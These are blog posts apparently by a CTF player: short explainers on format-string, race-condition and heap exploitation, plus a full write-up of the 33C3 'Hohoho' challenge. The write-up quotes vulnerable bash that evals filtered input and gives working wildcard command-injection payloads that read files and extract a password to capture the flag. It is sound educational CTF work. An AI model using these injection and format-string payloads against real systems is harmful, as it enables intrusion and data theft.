In this scenario, I would consider this abstraction to be a short-distance-write-anything primitive. With this itself, obviously we cannot do much. Nevertheless, I make a small Python function vuln(offset, val). However, since just after the buffer, there may be some data/meta-data that might be useful, we can abuse this to build both read-anywhere and write-anything-anywhere primitives. This means, I write short Python functions that call the previously defined vuln() function. These get_mem(addr) and set_mem(addr, val) functions are made simply (in this current example) simply by using the vuln() function to overwrite a pointer, which can then be dereferenced elsewhere in the binary.

Now, after we have these get_mem() and set_mem() abstractions, I build an anti-ASLR abstraction, by basically leaking 2 addresses from the GOT through get_mem() and comparing against a libc database (thanks @niklasb for making the database). The offsets from these give me a libc_base reliably, which allows me to replace any function in the GOT with another from libc.

This has essentially given me control over EIP (the moment I can "trigger" one of those functions exactly when I want to). Now, all that remains is for me to call the trigger with the right parameters. So I set up the parameters as a separate abstraction, and then call trigger() and I have shell access on the system.

TL;DR: One can build small exploitation primitives (which do not have too much power), and by combining them and building a hierarchy of stronger primitives, we can gain complete execution.

"Advanced" Format String Exploitation

2017-04-06T00:00:00+00:00

Influenced by this awesome live stream by Gynvael Coldwind, where he talks about format string exploitation

While simple format string vulnerabilities are becoming relatively less common these days, every once in a while, we come across some interesting cases in either CTFs or (less likely) real world programs, where having a better understanding of how to attack these vulnerabilities helps immensely.

Simple format string exploits:

You can use the %p to see what's on the stack. If the format string itself is on the stack, then one can place an address (say foo) onto the stack, and then seek to it using the position specifier n$ (for example, AAAA %7$p might return AAAA 0x41414141, if 7 is the position on the stack). We can then use this to build a read-where primitive, using the %s format specifier instead (for example, AAAA %7$s would return the value at the address 0x41414141, continuing the previous example). We can also use the %n format specifier to make it into a write-what-where primitive. Usually instead, we use %hhn (a glibc extension, iirc), which lets us write one byte at a time.

We use the above primitives to initially beat ASLR (if any) and then overwrite an entry in the GOT (say exit() or fflush() or ...) to then raise it to an arbitrary-eip-control primitive, which basically gives us arbitrary-code-execution.

Possible difficulties (and "advanced" exploitation):

If we have partial ASLR, then we can still use format strings and beat it, but this becomes much harder if we only have one-shot exploit (i.e., our exploit needs to run instantaneously, and the addresses are randomized on each run, say). The way we would beat this is to use addresses that are already in the memory, and overwrite them partially (since ASLR affects only higher order bits). This way, we can gain reliability during execution.

If we have a read only .GOT section, then the "standard" attack of overwriting the GOT will not work. In this case, we look for alternative areas that can be overwritten (preferably function pointers). Some such areas are: __malloc_hook (see man page for the same), stdin's vtable pointer to write or flush, etc. In such a scenario, having access to the libc sources is extremely useful. As for overwriting the __malloc_hook, it works even if the application doesn't call malloc, since it is calling printf (or similar), and internally, if we pass a width specifier greater than 64k (say %70000c), then it will call malloc, and thus whatever address was specified at the global variable __malloc_hook.

If we have our format string buffer not on the stack, then we can still gain a write-what-where primitive, though it is a little more complex. First off, we need to stop using the position specifiers n$, since if this is used, then printf internally copies the stack (which we will be modifying as we go along). Now, we find two pointers that point ahead into the stack itself, and use those to overwrite the lower order bytes of two further ahead pointing pointers on the stack, so that they now point to x+0 and x+2 where x is some location further ahead on the stack. Using these two overwrites, we are able to completely control the 4 bytes at x, and this becomes our where in the primitive. Now we just have to ignore more positions on the format string until we come to this point, and we have a write-what-where primitive.

Race Conditions & Exploiting Them

2017-04-01T00:00:00+00:00

Influenced by this amazing live stream by Gynvael Coldwind, where he explains about race conditions

If a memory region (or file or any other resource) is accessed twice with the assumption that it would remain same, but due to switching of threads, we are able to change the value, we have a race condition.

Most common kind is a TOCTTOU (Time-of-check to Time-of-use), where a variable (or file or any other resource) is first checked for some value, and if a certain condition for it passes, then it is used. In this case, we can attack it by continuously "spamming" this check in one thread, and in another thread, continuously "flipping" it so that due to randomness, we might be able to get a flip in the middle of the "window-of-opportunity" which is the (short) timeframe between the check and the use.

Usually the window-of-opportunity might be very small. We can use multiple tricks in order to increase this window of opportunity by a factor of 3x or even up to ~100x. We do this by controlling how the value is being cached, or paged. If a value (let's say a long int) is not aligned to a cache line, then 2 cache lines might need to be accessed and this causes a delay for the same instruction to execute. Alternatively, breaking alignment on a page, (i.e., placing it across a page boundary) can cause a much larger time to access. This might give us higher chance of the race condition being triggered.

Smarter ways exist to improve this race condition situation (such as clearing TLB etc, but these might not even be necessary sometimes).

Race conditions can be used, in (possibly) their extreme case, to get ring0 code execution (which is "higher than root", since it is kernel mode execution).

It is possible to find race conditions "automatically" by building tools/plugins on top of architecture emulators. For further details, http://vexillium.org/pub/005.html

Types of "Basic" Heap Exploits

2017-03-31T00:00:00+00:00

Influenced by this amazing live stream by Gynvael Coldwind, where he is experimenting on the heap

Amongst the various kinds of heap exploitation techniques, there are 3 that are considered extremely basic, and provide the fundamentals to understand more complicated heap exploits.

Use-after-free:

Let us say we have a bunch of pointers to a place in heap, and it is freed without making sure that all of those pointers are updated. This would leave a few dangling pointers into free'd space. This is exploitable by usually making another allocation of different type into the same region, such that you control different areas, and then you can abuse this to gain (possibly) arbitrary code execution.

Double-free:

Free up a memory region, and the free it again. If you can do this, you can take control by controlling the internal structures used by malloc. This can get complicated, compared to use-after-free, so preferably use that one if possible.

Classic buffer overflow on the heap (heap-overflow):

If you can write beyond the allocated memory, then you can start to write into the malloc's internal structures of the next malloc'd block, and by controlling what internal values get overwritten, you can usually gain a read-what-where primitive, that can usually be abused to gain higher levels of access (usually arbitrary code execution, via the GOT PLT, or __fini_array__ or similar).

33c3 2016 - Hohoho

2016-12-31T00:00:00+00:00

This was a great challenge, and I learnt a lot, even though I ended up spending many hours (over 10 hours!) on it.

The challenge

Santa Claus had a massive, multi-day lag and is still stuck at sorting out christmas trees and presents. Help him with the trees at nc 78.46.224.71 14449. If he doesn't reward you with a satisfactory present, you might have to bash him a bit. ATTENTION: this challenge is rate limited to 15 connections / minute. Your connection attempts will be blocked if you exceed the limit.

The solution

When I started working on the challenge, I initially thought it would just be a programming type of challenge, due to the way it started off, but I'm getting ahead of myself.

A Christmassy Start

The challenge starts off with a colourful menu that let's us pick between Starting, Ccontinuing, Visiting, or Quitting.

Exploring the different options, I realized that the Start option is what would let me reach the programming challenge, giving me a hash(?) which I can use to restart using Continue. Visit would let me see some nice ascii-artwork, and Quit did the obvious.

Unmixing trees!

The main challenge seemed to be a variant of the classical Towers of Hanoi, known as the bicolor towers of hanoi.

Solving the challenge in a general form on paper, using recursion, I came up with a solution that involved merging the disks from towers 1 and 2, into tower 3 (in an interleaving fashion), and then unmerging the trees from towers 3 into 2 and 1, in the right order (i.e. de-interleaving it correctly).

In order to these operations easily, I wrote down some helper functions into towers.py. With this, I could easily generate the answer using fixer(8,1,2,3), but this is where I realized that there were length restrictions to what the system accepted in one go, so I wrote up quick splitter and let that data pass through to the server. And in order to make it easier to continue, I would skip out on the last (final) move needed to complete the whole work. This was coded up in gen_ans.py which used the previous helper function and opened a shell with the right moves done. This ran approx 131000 moves

I was almost there (or so I thought).

What the Hanoi!

Once you make the final move, you are asked a bunch of questions, and based upon the choices you make, you either get a candy cane, or an apple, a beating, or a freaking "Bye!".

What the Hanoi!!! I thought I should have gotten the flag by now! What are you doing Santa!

Oh, and lemme just mention here: when I was solving the challenge, the naughty and nice were switched. The organizers seem to have fixed it later on though (even though it doesn't matter much).

What annoyed me most at that time, was that I still hadn't made my above script stop at the last remaining move. So once I reached the ending and found out no flag, then to re-try other options in the menu, when I tried to continue, it would continue somewhere in the middle of my solution. Instead, after making the change to stop just before last move, now when I did a Continue from the original menu, I could manually just type in 32 and work.

I need my presents!

Now, after trying out all the different menu combinations at that point, I was at a loss, and decide to re-read the description of the challenge.

If he doesn't reward you with a satisfactory present, you might have to bash him a bit.

Facepalm

Now I'm gonna have to figure out how to bash the system. Of course, it wouldn't mean "brute-force", since we are allowed only 15 connections per minute (meaning, we can do manual tries, but no automated scripts).

For this, I'd have for figure out some point of the system which is injectible. At this point, I am starting to get pissed that the whole towers of hanoi might have just been a red-herring that I wasted my time on. Thankfully this wasn't the case, but it took me a while to figure that out.

I tried submitting different values at the different parts of the menu after the tree solution, but I wasn't able to deduce any clear pattern, so I tried going back to the main menu, and try some stuff.

It is the Continue option where I had my first bout of information disclosure. Using this small bit of info, I tried to deduce as much as I could.

So, I had figured out the following:

The progress info was stored in sandboxes/{ID}/progress
Some sort of filtering on characters was being done
The filtering is weird but doesn't like . in it

Time to test out other parts.

Show me your sources

In the Visit option, we can get some additional information out, especially since it looks like it is running a cat on the input (after prepending it with santa_).

Maybe wildcards work? I tried a * but it didn't seem to work.

However, after further probing, I realized that it required that exactly one digit was passed, and exactly zero alphabets were passed. Using this, I passed along 0 * to get a dump of all files it could get from the directory.

This dumped a whole lot, including santa.sh which was the source code to the whole challenge. Now I could figure out what to do next.

Where is the damn flag?!?

Reading through the code, I was able to notice a couple of useful/interesting things (which explained why the filtering was occuring as before). The relevant parts of the code are:

ALLOWED_CHARS="-A-Za-z0-9_,.="

function get_input {
    local input
    read input
    local filtered=$(echo -n "$input" | sed "s/[^$ALLOWED_CHARS]//g")
    if [[ "$filtered" =~ $1 ]]; then
        echo "$input"
    fi
}

The get_input function took a regex as its input, and made sure that a filtered version of the user input matched this regex. This is the main vulnerability in the application that will be used and abused throughout.

The flaw? Well, if the filtered input matches the regex, it returned the original input. This meant that any characters that weren't part of the ALLOWED_CHARS set would pass through independent of the regex. Since the wildcard character * wasn't in this regex (along with the whitespace ), I was able to use it to get the source in the first place.

Now, I just need to find out other places that call this function and see if it is possible to exhibit any control over the system through this.

The Visit option would not allow me to control too much, but I notice that the check_success function does an eval on input that comes through get_input. This is good news since it would allow us to do quite a bit more than just continuing to output more stuff from the simple cat that was there in the Visit option.

For simplicity of understanding, the function is reproduced here:

function check_success {
    for ((i=$(($TREE_SIZE-1)); i>=0; i--)); do
        if [[ "${trees[0,$i]}" -ne "$(($TREE_SIZE-$i))" \
            || "${trees[1,$i]}" -ne "-$(($TREE_SIZE-$i))" ]]; then
            return
        fi
    done

    print_trees
    echo ""
    echo -e "$b$red\t\tCongrats you did it!!$reset"
    echo ""
    echo -e "Do you want a present from Santa? [${b}y$reset]es / [${b}n$reset]o"
    echo -n "> "
    local answer=$(get_input ^\(y\|n\)$)
    if [[ ${answer} = "y" ]]; then
        local santa="santa"
        echo -e "Ok then! Do you wish to get some [${b}c$reset]andy or some [${b}a$reset]pples?"
        echo -n "> "
        local present=$(get_input ^\(c\|i\)$)
        if [[ ${present:0:1} = "c" ]]; then
            echo "Ahhh candy is great!"
            santa="$santa --choice candy"
        else
            echo "Mhhm healthy apples, good choice!"
            santa="$santa --choice apples"
        fi

        echo -e "But as you know only the nice people deserve a present from Santa!\n"
        echo -e "Do you think you have been [${b}n$reset]aughty or n[${b}i$reset]ce?"
        echo -n "> "
        local naughtiness=$(get_input ^\(n\|i\)$)
        santa="$santa --naughtiness $naughtiness"

        echo -e "Ok I have prepared your request and will send it off to Santa!\n"
        echo "Let's see what he has to say:"
        eval "$santa" <&-
    else
        echo "Well ok then.. bye!"
        exit
    fi
    echo
    exit
}

The variable from which I then start to plan the attack is from the $naughtiness. If I pass a semicolon ; and I use only one of either n or i from all the ALLOWED_CHARS, then I can execute arbitrary(?) code.

Now comes the difficult part. Figuring out what arbitrary code works.

The first try is to do the following:

n ; /*/* ; #

This is met with the error: /bin/cat: /bin/cat: cannot execute binary file

What?!?

Still, this let's me realize that I might be close to the solution, and I pursue on, trying to find ways to output stuff from the system that might be more useful.

Suddenly, I remember /bin/dir. I could use the wildcards to ensure I pull that function.

; /*/*i* ; #

This gives me a lot of output. The nice thing though: /bin/dir is the first file on the system that satisfies that wildcard. Otherwise, I'd not have been able to execute it (at least so easily). The other nice thing: for dir, it takes multiple different inputs, so we can use that to get more output.

; /*/*i* / /* /*/* ; #

This gives even more output, which I store (in dir_output), and start to manually go through.

(PS: As an after thought, I don't really need the semicolon and hash symbol everywhere, but I kept putting it during the contest, so in the interest of maintaining accuracy with what was done during the contest, I will continue using it)

Well, there's good news and bad news (in the same directory /):

The flag is right there, but the presence of get_flag there probably means that we cannot directly output the flag. :(

So close, and yet so far

In trying to figure out how I might be able to cat the /flag or execute /get_flag, I suddenly remember that there is another wildcard operator that I can use -- the single character wildcard ?.

I try to run /get_flag, hoping that this is the end of the challenge (since I have been postponing sleep for quite a while at this point).

n ; /???????? ; #

The output? Usage: /get_flag password.

Shit. How am I supposed to know the password?!? I thought I should have gotten the flag by now!

I decide I'll work on dumping the /flag itself instead.

I mean, I could just cat it right?

n ; /???/??? /???? ; #

Amongst a huge amount of output (all from sending me different binaries that matched the /???/???), I get this one irritating line: /bin/cat: /flag: Permission denied.

Hmmm... So I cannot just cat it. I'll have to pull the info from executing the get_flag binary itself (or come up with some kind of privilege escalation, but I am hoping it doesn't need me to do that).

Can I Haz Ze Password?

Using the same cat trick, I can dump the get_flag binary and try to analyze it offline, and then get the password. Fortunately though, when I cat it, I notice a string that looks like the password, and I decide that I'll just assume this is the password, rather than analyze it further.

n ; /???/??? /???????? ; #

The password appears to be gimme_fl4g_plzzzz. All I got to do now, is execute /get_flag gimme_fl4g_plzzzz.

This is where I get stuck for quite a while.

I start to analyze different executables from /usr/bin/ and /bin/ in order to find anything that is useful.

I soon figure out that I can call /usr/bin/printf using ; /???/???/???n?? but am unable to take it much further along this path, mainly due to the lack of alphanumerics allowed.

The /usr/bin/strings binary however is very useful to get strings from a file, and it turns out that the string /???/???/????n?? matches only it. This is extremely useful since I can control it exactly now.

I now run /usr/bin/strings /get_flag:

; /???/???/????n?? /???????? ; #

Right near the top, I can see the password, plain as day gimme_fl4g_plzzzz.

I am now a 100% convinced that this is the password. I just need to put this into argv[1] of /get_flag.

Hours of torture

I now spend many hours trying to think of ways of bringing this to argv[1].

I know I can write the output to a file, and have done so already, but I cannot seem to figure out how to run head or tail or awk or sed or grep or anything useful for that matter.

I spend more hours poring through many many bash guides and manuals and CTF writeups but all of them seem to require = or similar as a way of pulling out of this kind of jail.

Finally, it hits me at one point. I can generate numbers easy enough (explained soon) -- what if I could abuse and use xxd or even printf, but to no avail (no xxd on the system, and I cannot seem to use the printf to my advantage).

Squawk!

After spending hours looking through the different possible executables, trying to find one that I can use to get the password into the argv[1] using $() or similar structure, I come across /etc/alternatives/nawk. Finally!

I can use nawk (equivalent to awk) as a primitive way to do a grep, and use that to get only the password.

But what kind of regex can I pass if I cannot use either underscores (_) or alphanumerics (a-zA-Z0-9)?

Bash to the rescue! I can generate numbers on the fly. How? I can get the number 1 using the following $((${#?} / ${#?})). In order to get the number 4, I'd just need to string up four 1s.

If I use temporary files in the current directory, then I'd not mess with anyone else's work, since it is sandboxed, so I use this as a way to be able to pipe (since I cannot call nawk without using the n, which means only one nawk invocation per execution).

(PS: In the executions below, I first execute without the >@@@..., to see the output, and then execute it with it, to store the output.)

First, I store the strings: /usr/bin/strings /get_flag >@@@@@@@@

; /???/???/????n?? /???????? >@@@@@@@@ ; #

In this, I can filter out all strings without 4 in them. The regex /4/ will keep only strings that have the 4 in them: /etc/alternatives/nawk '/4/' <@@@@@@@@ >@@@@ ; /???/????????????/n??? '/'$((${#?} / ${#?} + ${#?} / ${#?} + ${#?} / ${#?} + ${#?} / ${#?}))'/' <@@@@@@@@ >@@@@; #

Now, I notice that there are some strings that have the : character in them but the password I need does not. So I filter those out: /etc/alternatives/nawk '/^[^:]+$/' <@@@@ >@@ ; /???/????????????/n??? '/^[^:]+$/' <@@@@ >@@; #

This leaves a very few strings, and I notice that the number 2 can be filtered out: /etc/alternatives/nawk '/^[^2]+$/' <@@ >@ ; /???/????????????/n??? '/^[^'$((${#?} / ${#?} + ${#?} / ${#?}))']+$/' <@@ >@; #

Now, the @ file contains the required password, and I just need to execute /get_flag $(<@) ; /???????? $(<@) ; # n

Success! Finally, the flag! Well, almost...

The flag was in a very zig-zag form and in that sleep-deprived state I was, I transcribed it wrong and the web interface refused to accept the flag...

I decided to retry transcribing it once more, before complaining to the organizers, and it accepted it then. 350 points to our team!

Finally I could sleep!

The End?

Great challenge by the setters. Thanks a lot for the layers, though I did get frustrated at times. That's where the fun lies, right :)

If you have read this far, thanks for reading too. If you have any improvements on the technique, or did it differently, or have suggestions to make, I'd be happy to hear about them or read your write-up on the same.

Cheers!

I originally wrote this for the InfoSecIITR writeups repository. Adapted it with minor stylistic changes for the blog.

Jay Bosamiya

Mixed (Google CTF 2022)

Problem Description

Early Analysis

Divide and Conquer

The Unfortunate dis

Initial Wins

Managing Guesses

Something is Odd

New Beginnings

Coffee Gives You Energy

First Perfect Decompilation

Manual Decompilation

Tangent: Discovering Python Style Guide Non-Compliance

More Opcode Reversing

Flage! and Closing Thoughts

crypto🔨 (pbctf 2020)

Problem Description

Understanding the Encryption and Planning an Attack

Recognizing the PRNG

Attacking the Doubly-Shifted LFSR

Attacking the ISO File Format

Putting it all together

Closing Thoughts

RSA Chained (Dragon CTF Teaser 2019)

Exploiting Chrome V8: Krautflare (35C3 CTF 2018)

The Challenge

Understanding the Bug

Approximate Plan of Attack

Setting up Debugging

Triggering the Bug

Escalating to an OOB RW

Stabilized OOB RW

Powerful Primitives

Crafting an Attack

Finally, shell! Or is it?

Hours of Pain!

A New Hope

Flag!

Concluding Remarks

Acknowledgements

More on V8 exploitation

HITCON CTF 2018 - Lost Modulus

Explanation of Script

Query Setup

Stage 0

Stage 1

Stage 2

Stage 3

Profit

Flag

My Awesome Experience at the Summer School on Formal Techniques (SSFT'18)

Misc RE Tips

A Story to Tell : My Experience at IIT Roorkee

Analysis for RE and Pwning tasks in CTFs

Return Oriented Programming

Genetic Fuzzing

Why do we need a genetic fuzzer?

Wait, when does this kind of "bad case" program show up?

So how do we do better than dumb fuzzers?

Why does this work?

Why is it called genetic fuzzing?

Wait, so we just keep track of unreached nodes?

So, what and all do you need in a genetic fuzzer?

Basics of Fuzzing

What is a fuzzer, in the first place? And why do we use it?

How does a fuzzer work?

Outputs from a fuzzer?

Types of fuzzers?

How are fuzzers useful?

How to write a (basic) fuzzer?

Mutators? What?!?

But what is this "genetic" fuzzing?

Exploitation Abstraction

"Advanced" Format String Exploitation

Simple format string exploits:

Possible difficulties (and "advanced" exploitation):

Race Conditions & Exploiting Them

Types of "Basic" Heap Exploits

Use-after-free:

The Unfortunate `dis`